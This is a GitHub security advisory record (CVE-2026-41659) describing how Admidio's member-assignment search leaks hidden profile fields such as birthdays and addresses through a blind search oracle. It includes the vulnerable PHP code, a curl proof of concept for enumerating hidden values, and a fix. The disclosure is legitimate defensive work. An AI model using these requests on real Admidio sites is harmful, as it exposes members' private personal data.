{"id":"GHSA-68pr-7prh-mpv4","summary":"Admidio Leaks Hidden Profile Field Values via Blind Search Oracle in Member Assignment","details":"## Summary\n\nThe member assignment DataTables endpoint (`members_assignment_data.php`) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via `isVisible()` checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.\n\n## Details\n\nThe search columns are hardcoded at `modules/groups-roles/members_assignment_data.php:118-126`:\n\n```php\n$searchColumns = array(\n    'COALESCE(last_name, \\' \\')',\n    'COALESCE(first_name, \\' \\')',\n    'COALESCE(birthday, \\' \\')',    // hidden field - no visibility check\n    'COALESCE(street, \\' \\')',      // hidden field - no visibility check\n    'COALESCE(city, \\' \\')',        // hidden field - no visibility check\n    'COALESCE(zip_code, \\' \\')',    // hidden field - no visibility check\n    'COALESCE(country, \\' \\')'      // hidden field - no visibility check\n);\n```\n\nThese columns are concatenated into a SQL LIKE search at line 139:\n\n```php\n$searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\\'%\\', ' . $searchValue . ', \\'%\\')) ';\n```\n\nThe SQL query at lines 200-235 fetches all these fields via LEFT JOINs on `adm_user_data`, and the search condition is applied as a subquery filter at lines 258-262:\n\n```php\n$sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...\n      FROM (' . $mainSql . ') AS members\n       ' . $searchCondition . $orderCondition . $limitCondition;\n```\n\nThe output visibility checks at lines 291-335 correctly call `$gProfileFields-\u003eisVisible('BIRTHDAY', $gCurrentUser-\u003eisAdministratorUsers())`, which returns `false` when `usf_hidden=1` and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search.\n\nThe authorization check at line 77 uses `allowedToAssignMembers()` (`src/Roles/Entity/Role.php:98-121`), which passes for role leaders with `ROLE_LEADER_MEMBERS_ASSIGN` (value 1). These leaders do not have `isAdministratorUsers()` privileges, so `isVisible()` returns false for hidden fields — but the search still operates on them.\n\n## PoC\n\n```bash\n# Prerequisites:\n# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights\n# - BIRTHDAY field is configured as hidden (usf_hidden = 1)\n# - Target role has a known UUID\n\n# Step 1: Baseline - get all members without search filter\ncurl -b 'PHPSESSID=\u003csession\u003e' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e&draw=1&start=0&length=25&search%5Bvalue%5D='\n\n# Response: returns all users. Birthday column is NOT in output (hidden).\n# Note recordsFiltered count.\n\n# Step 2: Search for a specific birthday value\ncurl -b 'PHPSESSID=\u003csession\u003e' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e&draw=1&start=0&length=25&search%5Bvalue%5D=1990-03-15'\n\n# Response: only users whose hidden birthday matches \"1990-03-15\" appear.\n# Birthday column is still NOT in output, but result set is filtered by it.\n# User names (always visible) reveal which users have that birthday.\n\n# Step 3: Enumerate hidden street addresses\ncurl -b 'PHPSESSID=\u003csession\u003e' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e&draw=1&start=0&length=25&search%5Bvalue%5D=123+Main+St'\n\n# Response: only users living at \"123 Main St\" appear in results.\n# Address fields are hidden in output but the search matched against them.\n```\n\n## Impact\n\nA role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:\n\n- **Birthdays** — exact date of birth for any user\n- **Street addresses** — full street address\n- **Cities and postal codes** — location information\n- **Countries** — nationality/residence\n\nThis is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and `recordsFiltered` count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden.\n\n## Recommended Fix\n\nFilter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:\n\n```php\n$searchColumns = array(\n    'COALESCE(last_name, \\' \\')',\n    'COALESCE(first_name, \\' \\')',\n);\n\n$isAdmin = $gCurrentUser-\u003eisAdministratorUsers();\nif ($gProfileFields-\u003eisVisible('BIRTHDAY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(birthday, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('STREET', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(street, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('CITY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(city, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('POSTCODE', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(zip_code, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('COUNTRY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(country, \\' \\')';\n}\n```\n\nThis ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.","aliases":["CVE-2026-41659"],"modified":"2026-05-08T20:32:36.746129Z","published":"2026-04-29T21:47:29Z","database_specific":{"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-04-29T21:47:29Z","nvd_published_at":"2026-05-07T04:16:29Z","cwe_ids":["CWE-200"]},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-68pr-7prh-mpv4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41659"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"},{"type":"WEB","url":"https://github.com/Admidio/admidio/releases/tag/v5.0.9"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.9"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.0.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-68pr-7prh-mpv4/GHSA-68pr-7prh-mpv4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N"}]}